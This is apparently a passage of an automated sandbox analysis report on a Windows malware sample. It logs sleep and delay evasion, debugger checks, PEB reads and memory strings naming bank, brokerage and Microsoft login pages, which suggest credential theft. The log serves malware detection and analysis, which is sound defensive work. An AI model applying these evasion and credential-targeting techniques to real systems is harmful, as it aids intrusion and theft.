Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe TID: 6512	Thread sleep count: 36 > 30
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe TID: 6512	Thread sleep time: -36000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Documents.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: H846yjBj.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: H846yjBj.17.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: H846yjBj.17.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: H846yjBj.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: systray.exe, 00000011.00000002.4498880450.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll+
Source: vWFGbvOdxI.exe, 00000012.00000002.4499410305.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: H846yjBj.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: H846yjBj.17.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: H846yjBj.17.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: H846yjBj.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: H846yjBj.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: firefox.exe, 00000014.00000002.2633826888.0000020F30C9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU
Source: H846yjBj.17.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: H846yjBj.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: H846yjBj.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: H846yjBj.17.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: H846yjBj.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: H846yjBj.17.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: H846yjBj.17.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: H846yjBj.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: H846yjBj.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Documents.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_0152096E rdtsc

9_2_0152096E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_00417853 LdrLoadDll,

9_2_00417853

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01578158 mov eax, dword ptr fs:[00000030h]	9_2_01578158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01574144 mov eax, dword ptr fs:[00000030h]	9_2_01574144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01574144 mov eax, dword ptr fs:[00000030h]	9_2_01574144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01574144 mov ecx, dword ptr fs:[00000030h]	9_2_01574144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01574144 mov eax, dword ptr fs:[00000030h]	9_2_01574144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01574144 mov eax, dword ptr fs:[00000030h]	9_2_01574144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6154 mov eax, dword ptr fs:[00000030h]	9_2_014E6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6154 mov eax, dword ptr fs:[00000030h]	9_2_014E6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DC156 mov eax, dword ptr fs:[00000030h]	9_2_014DC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158A118 mov ecx, dword ptr fs:[00000030h]	9_2_0158A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158A118 mov eax, dword ptr fs:[00000030h]	9_2_0158A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158A118 mov eax, dword ptr fs:[00000030h]	9_2_0158A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158A118 mov eax, dword ptr fs:[00000030h]	9_2_0158A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A0115 mov eax, dword ptr fs:[00000030h]	9_2_015A0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov ecx, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov ecx, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov ecx, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov eax, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E10E mov ecx, dword ptr fs:[00000030h]	9_2_0158E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01510124 mov eax, dword ptr fs:[00000030h]	9_2_01510124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0155E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0155E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E1D0 mov ecx, dword ptr fs:[00000030h]	9_2_0155E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0155E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0155E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A61C3 mov eax, dword ptr fs:[00000030h]	9_2_015A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A61C3 mov eax, dword ptr fs:[00000030h]	9_2_015A61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015101F8 mov eax, dword ptr fs:[00000030h]	9_2_015101F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B61E5 mov eax, dword ptr fs:[00000030h]	9_2_015B61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156019F mov eax, dword ptr fs:[00000030h]	9_2_0156019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156019F mov eax, dword ptr fs:[00000030h]	9_2_0156019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156019F mov eax, dword ptr fs:[00000030h]	9_2_0156019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156019F mov eax, dword ptr fs:[00000030h]	9_2_0156019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159C188 mov eax, dword ptr fs:[00000030h]	9_2_0159C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159C188 mov eax, dword ptr fs:[00000030h]	9_2_0159C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01520185 mov eax, dword ptr fs:[00000030h]	9_2_01520185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01584180 mov eax, dword ptr fs:[00000030h]	9_2_01584180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01584180 mov eax, dword ptr fs:[00000030h]	9_2_01584180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA197 mov eax, dword ptr fs:[00000030h]	9_2_014DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA197 mov eax, dword ptr fs:[00000030h]	9_2_014DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA197 mov eax, dword ptr fs:[00000030h]	9_2_014DA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566050 mov eax, dword ptr fs:[00000030h]	9_2_01566050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E2050 mov eax, dword ptr fs:[00000030h]	9_2_014E2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150C073 mov eax, dword ptr fs:[00000030h]	9_2_0150C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01564000 mov ecx, dword ptr fs:[00000030h]	9_2_01564000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01582000 mov eax, dword ptr fs:[00000030h]	9_2_01582000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE016 mov eax, dword ptr fs:[00000030h]	9_2_014FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE016 mov eax, dword ptr fs:[00000030h]	9_2_014FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE016 mov eax, dword ptr fs:[00000030h]	9_2_014FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE016 mov eax, dword ptr fs:[00000030h]	9_2_014FE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576030 mov eax, dword ptr fs:[00000030h]	9_2_01576030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA020 mov eax, dword ptr fs:[00000030h]	9_2_014DA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DC020 mov eax, dword ptr fs:[00000030h]	9_2_014DC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015620DE mov eax, dword ptr fs:[00000030h]	9_2_015620DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015220F0 mov ecx, dword ptr fs:[00000030h]	9_2_015220F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E80E9 mov eax, dword ptr fs:[00000030h]	9_2_014E80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA0E3 mov ecx, dword ptr fs:[00000030h]	9_2_014DA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015660E0 mov eax, dword ptr fs:[00000030h]	9_2_015660E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DC0F0 mov eax, dword ptr fs:[00000030h]	9_2_014DC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E208A mov eax, dword ptr fs:[00000030h]	9_2_014E208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A60B8 mov eax, dword ptr fs:[00000030h]	9_2_015A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A60B8 mov ecx, dword ptr fs:[00000030h]	9_2_015A60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015780A8 mov eax, dword ptr fs:[00000030h]	9_2_015780A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AA352 mov eax, dword ptr fs:[00000030h]	9_2_015AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01588350 mov ecx, dword ptr fs:[00000030h]	9_2_01588350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov eax, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov eax, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov eax, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov ecx, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov eax, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156035C mov eax, dword ptr fs:[00000030h]	9_2_0156035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01562349 mov eax, dword ptr fs:[00000030h]	9_2_01562349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158437C mov eax, dword ptr fs:[00000030h]	9_2_0158437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01500310 mov ecx, dword ptr fs:[00000030h]	9_2_01500310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A30B mov eax, dword ptr fs:[00000030h]	9_2_0151A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A30B mov eax, dword ptr fs:[00000030h]	9_2_0151A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A30B mov eax, dword ptr fs:[00000030h]	9_2_0151A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DC310 mov ecx, dword ptr fs:[00000030h]	9_2_014DC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E3DB mov eax, dword ptr fs:[00000030h]	9_2_0158E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E3DB mov eax, dword ptr fs:[00000030h]	9_2_0158E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E3DB mov ecx, dword ptr fs:[00000030h]	9_2_0158E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158E3DB mov eax, dword ptr fs:[00000030h]	9_2_0158E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015843D4 mov eax, dword ptr fs:[00000030h]	9_2_015843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015843D4 mov eax, dword ptr fs:[00000030h]	9_2_015843D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA3C0 mov eax, dword ptr fs:[00000030h]	9_2_014EA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E83C0 mov eax, dword ptr fs:[00000030h]	9_2_014E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E83C0 mov eax, dword ptr fs:[00000030h]	9_2_014E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E83C0 mov eax, dword ptr fs:[00000030h]	9_2_014E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E83C0 mov eax, dword ptr fs:[00000030h]	9_2_014E83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159C3CD mov eax, dword ptr fs:[00000030h]	9_2_0159C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015663C0 mov eax, dword ptr fs:[00000030h]	9_2_015663C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F03E9 mov eax, dword ptr fs:[00000030h]	9_2_014F03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015163FF mov eax, dword ptr fs:[00000030h]	9_2_015163FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE3F0 mov eax, dword ptr fs:[00000030h]	9_2_014FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE3F0 mov eax, dword ptr fs:[00000030h]	9_2_014FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE3F0 mov eax, dword ptr fs:[00000030h]	9_2_014FE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE388 mov eax, dword ptr fs:[00000030h]	9_2_014DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE388 mov eax, dword ptr fs:[00000030h]	9_2_014DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE388 mov eax, dword ptr fs:[00000030h]	9_2_014DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D8397 mov eax, dword ptr fs:[00000030h]	9_2_014D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D8397 mov eax, dword ptr fs:[00000030h]	9_2_014D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D8397 mov eax, dword ptr fs:[00000030h]	9_2_014D8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150438F mov eax, dword ptr fs:[00000030h]	9_2_0150438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150438F mov eax, dword ptr fs:[00000030h]	9_2_0150438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159A250 mov eax, dword ptr fs:[00000030h]	9_2_0159A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159A250 mov eax, dword ptr fs:[00000030h]	9_2_0159A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01568243 mov eax, dword ptr fs:[00000030h]	9_2_01568243
